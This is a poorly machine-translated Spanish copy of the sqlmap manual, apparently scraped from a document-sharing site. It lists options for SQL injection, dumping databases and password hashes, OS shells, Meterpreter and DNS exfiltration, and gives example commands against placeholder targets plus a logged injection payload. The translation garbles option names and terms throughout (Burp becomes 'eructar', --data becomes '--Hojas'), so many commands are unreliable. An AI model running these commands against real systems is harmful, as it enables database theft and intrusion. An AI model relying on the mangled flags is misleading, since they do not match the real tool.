opciones - files.danwin1210.me · --dns-domain = dns .. nombre de dominio utilizado para el ataque...

73
opciones: -h, --help Muestra el mensaje de ayuda básica y de salida hh Mostrar avanzadas mensaje de ayuda y termina --version Muestra el número de versión del programa y salir -v nivel detallado de verbosidad: 0-6 (por defecto 1) Objetivo: Al menos una de estas opciones tiene que ser proporcionado para definir la objetivo (s) Cadena de conexión DIRECTO -d para la conexión de base de datos directa URL -u, --url URL = URL de destino (por ejemplo, "http://www.site.com/vuln.php?id=1") objetivo (s) -l LOGFILE Parse de eructar o archivo de registro de proxy Webscarab -x objetivo SITEMAPURL Parse (s) de archivo de mapa del sitio remoto (.xml) -m BULKFILE Escanear varios objetivos que figuran en un archivo de texto solicitud HTTP REQUESTFILE carga -r desde un archivo -g Proceso GOOGLEDORK los resultados de Google dork como las URL de destino -c opciones CONFIGFILE de carga de un archivo de configuración INI Solicitud: Estas opciones se pueden utilizar para especificar cómo conectarse a la dirección URL de destino --method = Usos del método de la fuerza del método HTTP dada (por ejemplo PUT) --Hojas = cadena de datos Los datos que se envía a través de la POST --param-del .. = para caracteres utilizado para dividir los valores de parámetros --cookie = valor de cookies HTTP cabecera Cookie --cookie-del .. = COO de caracteres utilizado para dividir los valores de cookie --load-cookies = L .. El archivo que contiene las cookies en formato de Netscape / wget --drop-Set-Cookie Ignorar cabecera Set-Cookie de la respuesta --user-agent = valor de encabezado HTTP User-Agent-MAIL El valor de uso cabecera --random-agente seleccionado al azar HTTP User- Agent --host = valor de encabezado de host HTTP HOST --referer = HTTP_REFERER valor de encabezado Referer CABECERA -H, --hea .. cabecera adicional (por ejemplo, "X-reenviado-a: 127.0.0.1") --headers = HEADERS cabeceras adicionales (por ejemplo, "Accept-Language: fr \ nETag: 123") De tipo --auth = AUTH .. HTTP tipo de autenticación (básica, implícita, NTLM o PKI) --auth-cred = AUTH .. HTTP credenciales de autenticación (nombre: contraseña) archivo de clave --auth-file = AUTH .. HTTP PEM autenticación de certificado / privada --ignore-401 haga caso de error HTTP 401 (no autorizado) --proxy = PROXY uso de un proxy para conectarse a la dirección URL de destino

Upload: dangkhanh

Post on 01-Oct-2018

216 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

opciones: -h, --help Muestra el mensaje de ayuda básica y de salida hh Mostrar avanzadas mensaje de ayuda y termina --version Muestra el número de versión del programa y salir -v nivel detallado de verbosidad: 0-6 (por defecto 1) Objetivo: Al menos una de estas opciones tiene que ser proporcionado para definir la objetivo (s) Cadena de conexión DIRECTO -d para la conexión de base de datos directa URL -u, --url URL = URL de destino (por ejemplo, "http://www.site.com/vuln.php?id=1") objetivo (s) -l LOGFILE Parse de eructar o archivo de registro de proxy Webscarab -x objetivo SITEMAPURL Parse (s) de archivo de mapa del sitio remoto (.xml) -m BULKFILE Escanear varios objetivos que figuran en un archivo de texto solicitud HTTP REQUESTFILE carga -r desde un archivo -g Proceso GOOGLEDORK los resultados de Google dork como las URL de destino -c opciones CONFIGFILE de carga de un archivo de configuración INI Solicitud: Estas opciones se pueden utilizar para especificar cómo conectarse a la dirección URL de destino --method = Usos del método de la fuerza del método HTTP dada (por ejemplo PUT) --Hojas = cadena de datos Los datos que se envía a través de la POST --param-del .. = para caracteres utilizado para dividir los valores de parámetros --cookie = valor de cookies HTTP cabecera Cookie --cookie-del .. = COO de caracteres utilizado para dividir los valores de cookie --load-cookies = L .. El archivo que contiene las cookies en formato de Netscape / wget --drop-Set-Cookie Ignorar cabecera Set-Cookie de la respuesta --user-agent = valor de encabezado HTTP User-Agent-MAIL El valor de uso cabecera --random-agente seleccionado al azar HTTP User-Agent --host = valor de encabezado de host HTTP HOST --referer = HTTP_REFERER valor de encabezado Referer CABECERA -H, --hea .. cabecera adicional (por ejemplo, "X-reenviado-a: 127.0.0.1") --headers = HEADERS cabeceras adicionales (por ejemplo, "Accept-Language: fr \ nETag: 123") De tipo --auth = AUTH .. HTTP tipo de autenticación (básica, implícita, NTLM o PKI) --auth-cred = AUTH .. HTTP credenciales de autenticación (nombre: contraseña) archivo de clave --auth-file = AUTH .. HTTP PEM autenticación de certificado / privada --ignore-401 haga caso de error HTTP 401 (no autorizado) --proxy = PROXY uso de un proxy para conectarse a la dirección URL de destino

Page 2: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

--proxy-CRED PRO = .. credenciales de autenticación del proxy (nombre: contraseña) --proxy-file = PRO .. Cargar lista de proxy de un archivo --ignore-proxy Ignorar configuración de proxy por defecto del sistema red anónima Tor --tor Uso --tor-port = TORPORT Conjunto Tor puerto proxy que no sea por defecto --tor-type = TORTYPE Conjunto Tor tipo de proxy (HTTP (por defecto), SOCKS4 o SOCKS5) --check-tor Compruebe si se utiliza adecuadamente Tor --delay = RETRASO Retraso en segundos entre cada solicitud HTTP --timeout = segundos tiempo de espera necesario antes de la conexión de tiempo de espera (por defecto 30) --retries = reintentos reintentos cuando los tiempos de espera de conexión (por defecto 3) --randomize = RPARAM cambiar aleatoriamente el valor de parámetro determinado (s) --safe-url = dirección URL SAFEURL visitar con frecuencia durante la prueba --safe-post = datos seguros .. POST para enviar a una dirección URL segura --safe-req = MÁS SEGURO .. Cargar solicitud HTTP a salvo de un archivo --safe-freq = SAFE peticiones de prueba .. entre dos visitas a una URL segura dada --skip-urlencode Skip URL codificación de los datos de carga útil --csrf-token = RSE .. parámetro se utiliza para mantener anti-CSRF token de --csrf-url = dirección URL CSRFURL para visitar para extraer anti-CSRF token de Fuerza el uso --force-ssl de SSL / HTTPS método de la contaminación parámetro --hpp Usar HTTP --eval = EVALCODE Evaluar código Python proporcionado antes de la solicitud (por ejemplo, "Hashlib importación; ID2 = hashlib.md5 (id) .hexdigest ()") Mejoramiento: Estas opciones se pueden usar para optimizar el rendimiento de sqlmap -O Encienda todos los interruptores de optimización --predict-salida Predecir salida de consultas comunes --keep-alive Usar HTTP (s) persistente conexiones --null conexión Recuperar longitud de página sin cuerpo de la respuesta HTTP real --threads = HILOS: Máximo de HTTP concurrente (s) solicitud (por defecto 1) Inyección: Estas opciones se pueden utilizar para especificar qué parámetros para probar, proporcionar cargas útiles de inyección de secuencias de comandos personalizados y manipulación opcionales parámetro comprobable TESTPARAMETER -p (s) skip = prueba Saltar Saltar para el parámetro determinado (s) --skip-estáticas parámetros de prueba Omitir que no aparecen dinámico --dbms = Fuerza DBMS DBMS back-end a este valor --dbms-cred = DBMS .. credenciales de autenticación DBMS (usuario: contraseña) --os = sistema operativo DBMS OS Fuerza a este valor

Page 3: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

--invalid-bignum Utilice números grandes para invalidar los valores Uso --invalid-lógica operaciones lógicas para invalidar los valores --invalid-cadena utilizan cadenas aleatorias para invalidar los valores --no-yeso Apague mecanismo de carga útil de colada --no-fuga Apague cadena de mecanismo de escape prefix = PREFIJO inyección cadena de carga útil prefijo --suffix = SUFIJO inyección cadena de carga útil sufijo --tamper = antisabotaje Uso escritura (s) dada para la manipulación de datos de inyección Detección: Estas opciones se pueden utilizar para personalizar la fase de detección --level = NIVEL Nivel de pruebas para llevar a cabo (1-5, por defecto 1) --risk = RIESGO El riesgo de pruebas para llevar a cabo (1-3, por defecto 1) --string = Cadena CADENA para que coincida cuando la consulta se evalúa como True --no-string = NO .. String para que coincida cuando la consulta se evalúa como False --regexp = EXPREG Regexp para que coincida cuando la consulta se evalúa como True --code = código HTTP código para que coincida cuando la consulta se evalúa como True --text de sólo Comparar páginas basándose únicamente en el contenido textual Comparar --titles páginas basado sólo en sus títulos técnicas: Estas opciones se pueden utilizar para modificar las pruebas de inyección de SQL específica técnicas técnicas de inyección SQL --technique = TECH (por defecto "BEUSTQ") --time-sec = segundos TIMESEC para retrasar la respuesta de DBMS (por defecto 5) --union-cols = UCOLS gama de columnas para la prueba de inyección de consulta SQL UNION --union-char = UCHAR carácter que se utilizará para la fuerza bruta número de columnas --union-from = UFROM tabla para utilizar en la inyección de una parte de la consulta SQL UNION --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta de segundo orden Huella dactilar: -f, --fingerprint Realizar una extensa versión de DBMS huella digital Enumeración: Estas opciones se pueden utilizar para enumerar la base de datos back-end la gestión del sistema de información, la estructura y los datos contenidos en el mesas. Por otra parte usted puede ejecutar sus propias sentencias SQL -a, --all Recuperar todo

Page 4: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

-b, --banner Recuperar DBMS bandera --current-user Recuperar DBMS usuario actual --current-db Recuperar DBMS base de datos actual --hostname Recuperar nombre del servidor DBMS --is-dba detectar si el usuario actual DBMS es DBA --users usuarios Enumerar DBMS Enumerar --passwords DBMS hashes de contraseñas de usuarios Enumerar --privileges DBMS derechos a los clientes --roles papeles usuarios Enumerar DBMS Enumerar --dbs bases de datos DBMS --tables tablas de la base de Enumerar DBMS Enumerar --columns DBMS columnas de las tablas de base de datos Enumerar --schema esquema DBMS --count Recuperar número de entradas para la mesa (s) --dump Dump DBMS entradas de la tabla de base de datos --dump-all la descarga todas las bases de datos DBMS entradas mesas --search columna de búsqueda (s), tabla (s) y / o el nombre de la base de datos (s) --comments Recuperar comentarios DBMS -D base de datos DB DBMS para enumerar -T tabla de base de TBL DBMS (s) para enumerar columna de la tabla de base de datos -C COL DBMS (s) para enumerar columna de la tabla de base de datos -X EXCLUDECOL DBMS (s) para no enumerar -U USUARIO DBMS usuario para enumerar --exclude-sysdbs Excluir las bases de datos del sistema DBMS al enumerar las tablas --pivot-columna = P .. nombre de la columna pivote --donde = DUMPWHERE Uso condición WHERE mientras que el cuadro de dumping --start = LIMITSTART entrada Primera salida de la consulta para recuperar --stop = LIMITSTOP entrada de salida de la consulta para recuperar Última --first = aPartirDe Primera consulta palabra de salida para recuperar el carácter --last = ultimocarac Última consulta carácter de palabra de salida para recuperar --sql-query = instrucción de consulta SQL que se ejecutará Símbolo del --sql cáscara de una concha de SQL interactivo --sql-file = SQLFile ejecutar sentencias SQL desde un archivo determinado (s) Fuerza bruta: Estas opciones se pueden utilizar para realizar comprobaciones de fuerza bruta --common-tables Comprobar la existencia de mesas comunes --common-columns Comprobar la existencia de columnas comunes definido por el usuario función de inyección: Estas opciones se pueden usar para crear funciones definidas por el usuario personalizados --udf-inyectar funciones definidas por el usuario personalizados Inyectar --shared-lib = shlib Ruta local de la biblioteca compartida El acceso de archivos del sistema:

Page 5: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Estas opciones se pueden utilizar para acceder a la gestión de base de datos back-end sistema de sistema de archivos subyacente --file-read = FICH_R Leer un archivo del sistema de archivos DBMS --file-write = WFILE Escribir un archivo local en el sistema de archivos DBMS --file-dest = DFILE back-end DBMS ruta absoluta para escribir Operando de acceso al sistema: Estas opciones se pueden utilizar para acceder a la gestión de base de datos back-end sistema de sistema operativo subyacente --os-cmd = OSCMD ejecutar un comando del sistema operativo Símbolo del --os-shell para un shell del sistema operativo interactivo Símbolo del --os-pwn de una cáscara fuera de banda, Meterpreter o VNC --os-SMBRelay pronta Un clic para una cáscara fuera de banda, Meterpreter o VNC --os-BOF Procedimiento almacenado explotación de desbordamiento de búfer --priv-esc proceso de base de datos de privilegios de usuario escalada --msf-path = MSFPATH Ruta local donde está instalado Metasploit Framework --tmp-path = Ruta remota TMPPATH absoluta del directorio de archivos temporales Ventanas de acceso al registro: Estas opciones se pueden utilizar para acceder a la gestión de base de datos back-end Registro del sistema de Windows --reg lectura Leer un valor de clave del registro de Windows --reg-añadir los datos de Escribe un valor de clave de registro de Windows --reg-del Eliminar un valor de clave del registro de Windows --reg-clave = clave de registro de Windows regkey --reg-valor = valor de la clave del registro de Windows REGVAL --reg-data = registro de datos de valores clave de Windows Regdata --reg-type = Registro de Windows RegType tipo de valor clave General: Estas opciones se pueden utilizar para establecer algunos parámetros generales de trabajo -s sesión de archivo de sesión de carga de un archivo almacenado (.sqlite) -t TRAFFICFILE Log todo el tráfico HTTP en un archivo de texto --batch Nunca le pida a la entrada del usuario, utilice el comportamiento predeterminado --binary-fields = .. campos de Resultados que tienen valores binarios (por ejemplo, "digerir") --charset = codificación de caracteres CHARSET fuerza utilizada para la recuperación de datos --crawl = CRAWLDEPTH del arrastre de la página web a partir de la dirección URL de destino --crawl-excluye = .. Regexp para excluir páginas de rastreo (por ejemplo, "cerrar sesión")

Page 6: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

--csv-del carácter = CSVDEL Delimitación utilizado en CSV de salida (por defecto ",") --dump-format = DU .. Formato de los datos objeto de dumping (CSV (por defecto), HTML o SQLITE) Pantalla --eta para cada salida de la hora estimada de llegada --flush-sesión Lavar los archivos de sesión para el objetivo actual --forms analizar y formas de prueba en dirección URL de destino --fresh-consultas Ignorar resultados de la consulta almacenados en el archivo de sesión --hex función hexagonal Uso DBMS (s) para la recuperación de datos --output-dir = OUT .. encargo ruta del directorio de salida --parse-errors analizar y mostrar mensajes de error de DBMS de respuestas --save = saveconfig Guardar las opciones en un archivo de configuración INI --scope = ALCANCE Regexp a metas de filtro de registro de proxy proporcionado --test-filter = TE .. seleccionar pruebas de cargas y / o títulos (por ejemplo FILA) --test-skip = PRUEBA .. Pasar las pruebas de cargas y / o títulos (por ejemplo de referencia) --update actualización sqlmap Diverso: Mnemotécnicos -z Utilice mnemotécnicos cortos (por ejemplo, "la gripe, el palo, prohibición, tec = UE") --alert = ALERTA Ejecutar comandos del sistema operativo anfitrión (s) cuando se encuentra de inyección SQL --answers = RESPUESTAS conjunto de preguntas respuestas (por ejemplo, "dejar de fumar = N, N = siga") ni --beep ni Tono en cuestión y / o cuando se encuentra de inyección SQL --cleanup Limpiar el DBMS de sqlmap UDF y tablas específicas --dependencies Compruebe si faltan (no básicos) dependencias sqlmap --disable-colorante salida de la consola Desactivar --gpage = GooglePage Uso de Google dork resultados de número de página especificado --identify-WAF Haga una prueba a fondo para una protección WAF / IPS / IDS --skip-WAF Omitir detección heurística de la protección WAF / IPS / IDS Imitar --mobile teléfono inteligente a través de encabezado HTTP User-Agent Trabajo --offline en el modo fuera de línea (sólo utilizar los datos de sesión) --page-ranking página de visualización (PR) para los resultados de Google dork --purge-salida Extracción segura de todo el contenido de un directorio de salida Llevar a cabo pruebas exhaustivas --smart sólo si heurística positiva (s) Símbolo del --sqlmap cáscara de una concha sqlmap interactivo --wizard interfaz de asistente simple para los usuarios principiantes

verbosidad de salida

Opción: -v Esta opción se puede utilizar para ajustar el nivel de verbosidad de los mensajes de salida.Existen siete niveles de verbosidad. El nivel por defecto es 1 , en el que

Page 7: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

se muestran información, advertencia de error, los mensajes críticos y los rastreos de Python (en su caso se producen).

0 : Mostrar solamente las trazas de retorno de Python, errores y mensajes críticos. 1 : Show también la información y mensajes de advertencia. 2 : Show también depurar mensajes. 3 : Show también cargas útiles inyectado. 4 : Show también las peticiones HTTP. 5 : Show también las cabeceras de las respuestas HTTP. 6 : Show también contenido de la página respuestas HTTP.

Un nivel razonable de nivel de detalle para comprender mejor lo que hace sqlmap bajo el capó es de nivel 2 , principalmente para la fase de detección y las funcionalidades de adquisición. Mientras que si quieres ver las cargas útiles de las herramientas de SQL envía, el nivel 3 es su mejor opción. También se recomienda este nivel para ser utilizado cuando se alimenta a los desarrolladores con un potencial de informe de error, asegúrese de que se envía junto con la salida estándar del archivo de registro de tráfico generado con la opción -t . Con el fin de depurar aún más las posibles errores o comportamientos inesperados, le recomendamos que ajuste el nivel de detalle de nivel 4 o superior.

Objetivo

Al menos una de estas opciones ha proporcionado puede fijar el objetivo (s).

Conexión directa a la base de datos

Opción: -d Ejecutar sqlmap contra una sola instancia de base de datos. Esta opción acepta una cadena de conexión en una de las siguientes formas:

DBMS: // USUARIO: CONTRASEÑA @ DBMS_IP: DBMS_PORT / DATABASE_NAME (MySQL, Oracle, Microsoft SQL Server, PostgreSQL, etc.)

DBMS: // DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird, etc.)

Por ejemplo:

sqlmap.py $ pitón -d "mysql: // Administrador: [email protected]: 3306 / testdb" -f --bann \ er --dbs --users

URL de destino

Opción: -u o --url Ejecutar sqlmap contra una sola dirección URL de destino. Esta opción requiere una dirección URL de destino en forma siguiente:

Page 8: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

http (s): // TargetURL [: puerto] / [...] Por ejemplo:

$ Python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs - \ -Los usuarios

Analizar los objetivos de eructar o registros de proxy Webscarab

Opción: -l En lugar de proporcionar una única dirección URL de destino, es posible probar e inyectar en contra de las peticiones HTTP proxy a través de proxy eructar o proxy de Webscarab . Esta opción requiere un argumento que es peticiones HTTP de proxy del archivo de registro.

Analizar los objetivos del archivo de mapa del sitio remoto (.xml)

Opción: -x Un mapa del sitio es un archivo en el que los administradores de web pueden enumerar los lugares de la página web de su sitio para decirle a los motores de búsqueda sobre la organización del contenido del sitio. Puede proporcionar la ubicación de un mapa de sitio para sqlmap utilizando la opción -x (por ejemplo, -x http://www.target.com/sitemap.xml ) por lo que podría encontrar las direcciones URL de destino utilizables para fines de exploración.

Escanear múltiples objetivos alistados en un archivo de texto dado

Opción: -m lista de direcciones URL de destino alistados en un archivo dado mayor proporcionando, sqlmap explorará cada uno de los uno por uno.

el contenido de ejemplo de un archivo de mayor proporcionado como argumento para esta opción:

www.target1.com/vuln1.php?q=foobar www.target2.com/vuln2.asp?id=1 www.target3.com/vuln3/id/1*

solicitud de carga HTTP desde un archivo

Opción: -r

Page 9: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Una de las posibilidades es de sqlmap carga de petición HTTP prima a partir de un archivo de texto. De esa manera se puede omitir el uso de un número de otras opciones (por ejemplo, instalación de cookies, Publicado datos, etc.).

el contenido de ejemplo de un archivo de solicitud HTTP proporcionada como argumento para esta opción:

POSTAL /vuln.php HTTP / 1.1 Anfitrión: www.target.com User-Agent: Mozilla / 4.0 id = 1

Tenga en cuenta que si la solicitud es a través de HTTPS, puede utilizar esto en conjunto con el interruptor --force-SSL para forzar la conexión SSL a 443 / tcp. Como alternativa, puede anexar: 443 hasta el final del anfitrión valor de encabezado.

Resultados proceso de Google dork como direcciones de destino

Opción: -g También es posible poner a prueba e inyectar en GET parámetros basados en los resultados de su idiota Google. Esta opción hace que sqlmap negociar con el motor de búsqueda de su cookie de sesión para poder llevar a cabo una búsqueda, a continuación, sqlmap recuperará Google primeros 100 resultados de la expresión idiota Google con GET parámetros que le pregunta si desea probar e inyectar en cada posible URL afectada . Por ejemplo:

$ Python sqlmap.py -g "inurl: \". Php? Id = 1 \ ""

opciones de carga de un archivo de configuración INI

Opción: -c Es posible pasar opciones de usuario desde un archivo INI de configuración, un ejemplo essqlmap.conf . Tenga en cuenta que si usted proporciona otras opciones de línea de comandos, los que son evaluados cuando se ejecuta sqlmap y sobrescribir los previstos en el archivo de configuración.

Solicitud

Estas opciones se pueden utilizar para especificar cómo conectarse a la dirección URL de destino.

Page 10: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

método HTTP

Opción: --method sqlmap detecta automáticamente el método HTTP adecuado para ser utilizado en las peticiones HTTP. Sin embargo, en algunos casos, se requiere para forzar el uso de método HTTP específica (por ejemplo PUT ) que no se utiliza por el automatismo. Esto es posible con el uso de esta opción (por ejemplo --method = PUT ).

datos HTTP

Opción: --Hojas Por defecto, el método HTTP utilizado para realizar peticiones HTTP es GET , pero se puede cambiar de forma implícita a PUBLIQUE proporcionando los datos a ser enviados en los POST desolicitudes. Tales datos, siendo estos parámetros, se prueban para la inyección de SQL, así como las previstas GET parámetros. Por ejemplo:

$ Python sqlmap.py -u "http://www.target.com/vuln.php" --Hojas = "id = 1" f --banne \ r --dbs --users

carácter división parámetro

Opción: --param-del Hay casos en los parámetros por defecto delimitador (por ejemplo, y en los datos POST y GET) debe ser sobrescrito por sqlmap para poder procesar adecuadamente dividida y cada parámetro por separado. Por ejemplo:

$ Python sqlmap.py -u "http://www.target.com/vuln.php" --Hojas = "query = foobar; id = \ 1 "--param-del ="; "f --banner --dbs --users

HTTP Cookies cabecera Las opciones y los interruptores: --cookie , --cookie-del , --load-cookies y --drop-Set-Cookie Estas opciones y modificadores se pueden utilizar en dos situaciones:

La aplicación web requiere autenticación basándose en los cookies y usted tiene este tipo de datos.

Desea detectar y explotar de inyección SQL en dichos valores de cabecera.

De cualquier razón te lleva a necesita enviar las galletas con las peticiones sqlmap, los pasos a seguir son los siguientes:

Accede a la aplicación con su navegador favorito.

Page 11: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Obtener la cookie HTTP de preferencias de tu navegador o desde la pantalla de proxy HTTP y copiar al portapapeles.

Vuelve a tu shell y ejecutar sqlmap pegando el portapapeles como valor de la opción --cookie .

Tenga en cuenta que los HTTP galleta de valores de cabecera suelen estar separados por una; carácter, no por una y . sqlmap puede reconocer éstos como conjuntos separados deparámetro = valor demasiado, así como GET y POST de parámetros. En caso de que el carácter de separación es distinto ; se puede especificar utilizando la opción --cookie-del . Si en cualquier momento durante la comunicación, la aplicación web responde con Set-Cookiecabeceras, sqlmap utilizará automáticamente su valor en todas las peticiones HTTP adicionales como la galleta de cabecera. sqlmap también probará automáticamente estos valores para la inyección de SQL. Esto puede evitarse proporcionando el interruptor --drop-Set-Cookie - sqlmap ignorará cualquier procedente Set-Cookie cabecera. A la inversa, si usted proporciona un HTTP Cookies encabezado con opción --cookie y la URL de destino envía un HTTP Set-Cookie cabecera en cualquier momento, sqlmap le preguntará qué conjunto de cookies para utilizar para las siguientes solicitudes HTTP. También hay una opción -cookies --load que se pueden utilizar para proporcionar un archivo especial que contiene Netscape / wget formato cookies. Tenga en cuenta que también el HTTP Cookies cabecera se comprueba frente a la inyección de SQL si el --level se establece en 2 o superior. Lea a continuación para más detalles.

HTTP User-Agent cabecera Opción y el interruptor: --user-agente y --random-agente Por defecto sqlmap realiza peticiones HTTP con el siguiente User-Agent valor de encabezado: sqlmap / 1.0-dev-xxxxxxx (http://sqlmap.org)

Sin embargo, es posible que fingir con la opción --user-agente , proporcionando a medida User-Agent como argumento de la opción. Además, al proporcionar el interruptor --random-agente , sqlmap seleccionará al azar a un agente de usuario de la ./txt/user-agents.txt archivo de texto y utilizarlo para todas las peticiones HTTP dentro de la sesión. Algunos sitios realizan una comprobación del lado del servidor de HTTP User-Agent valor de encabezado y no logran la respuesta HTTP válida si un agente de usuario no se proporciona, no se espera que su valor o en una lista negra por un firewall de aplicaciones web o sistema de prevención de intrusiones similares. En este caso sqlmap le mostrará un mensaje de la siguiente manera: [Hh: mm: 20] [ERROR] la URL de destino responde con un código de estado HTTP desconocido, trate de forzar la cabecera HTTP User-Agent con la opción --user-agente o --random-agente

Tenga en cuenta que también el HTTP User-Agent cabecera se prueba contra la inyección de SQL si el --level se establece en 3 o superior. Lea a continuación para más detalles.

HTTP Host cabecera

Page 12: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Opción: --host Puede configurar manualmente HTTP Host valor de encabezado. Por defecto HTTP Hostcabecera se analiza desde una dirección URL de destino previsto. Tenga en cuenta que también el HTTP Host cabecera se comprueba frente a la inyección de SQL si el --level se establece en 5 . Lea a continuación para más detalles.

HTTP Referer cabecera Opción: --referer Es posible falsificar el HTTP Referer valor de encabezado. Por defecto no HTTP Referercabecera se envía en las solicitudes HTTP si no se establece de manera explícita. Tenga en cuenta que también el HTTP Referer cabecera se comprueba frente a la inyección de SQL si el --level se establece en 3 o superior. Lea a continuación para más detalles.

cabeceras extra de HTTP

Opción: --headers Es posible proporcionar cabeceras HTTP adicionales estableciendo la opción --headers . Cada cabecera debe estar separado por un salto de línea y es mucho más fácil para proporcionarles a partir del archivo INI de configuración. Puede echar un vistazo a la muestra sqlmap.conf archivo para tal caso. Ejemplo frente a un objetivo de MySQL:

$ Python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \ "IGN, la gripe, el palo, tec = E" --headers = "Anfitrión: www.target.com \ Nuser-agent: Firefox 1.0" -v 5 [...] [Xx: xx: 44] [TRÁFICO OUT] petición HTTP [# 5]: GET /sqlmap/mysql/get_int.php? Id = 1% 20y% 20% 28SELECT% 209351% 20FROM% 28SELECT% 20C \ ONTAJE% 28% 2A% 29% 2CCONCAT% 280x3a6161733a% 2C% 28SELECT% 20% 28CASE% 20Cuando% 20% 285 473% 20 \ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 % 20% \ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 2 \ 0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 \ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 % 20% \ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 2 \ 0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 \ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 % 20% \ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 2 \

Page 13: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 \ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 3D% 20% 20% 20% 20% 20% 20 % 20% \ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 2 \ 0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 \ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 % 20% \ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 2 \ 0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 \ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 % 20% \ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 2 \ 0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 \ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 % 20% \ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 205 473% 29% 20 Entonces% 201% 20ELSE% 200% 20END% 29% 29% 2C \ 0x3a6c666d3a% 2CFLOOR% 28RAND% 280% 29% 29% 2A2% 29x% 20FROM% 20INFORMATION_SCHEMA.CHARA \ CTER_SETS% 20GROUP% 20BY% 20x% 29a% 29 HTTP / 1.1 Anfitrión: www.target.com Accept-Encoding: gzip, desinfle Accept: text / html, application / xhtml + xml, application / xml; q = 0,9, * / *; q = 0,8 User-agent: Firefox 1.0 Conexión: cerrar [...]

autenticación de protocolo HTTP

Opciones: de tipo --auth y --auth-CRED Estas opciones se pueden utilizar para especificar los implementos HTTP del servidor web autenticación del protocolo de back-end y las credenciales válidas para ser utilizados para llevar a cabo todas las peticiones HTTP a la aplicación de destino.

Los tres mecanismos de autenticación del protocolo HTTP soportados son:

BASIC Digerir NTLM

